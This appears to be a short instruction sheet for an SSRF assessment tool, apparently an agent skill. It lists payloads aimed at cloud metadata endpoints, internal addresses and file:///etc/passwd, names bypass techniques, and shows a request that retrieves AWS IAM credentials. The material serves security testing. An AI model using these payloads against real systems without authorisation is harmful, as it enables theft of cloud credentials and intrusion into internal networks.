Instructions
- Install dependencies:
pip install requests
- Identify URL parameters in the target application that accept URLs or hostnames.
- Test SSRF payloads:
- Cloud metadata:
http://169.254.169.254/latest/meta-data/
- Internal services:
http://127.0.0.1:port/, http://10.0.0.1/
- Protocol handlers:
file:///etc/passwd, gopher://, dict://
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
- Analyze responses for information disclosure or internal access confirmation.
- Generate a vulnerability assessment report.
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
Examples
AWS Metadata SSRF
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.
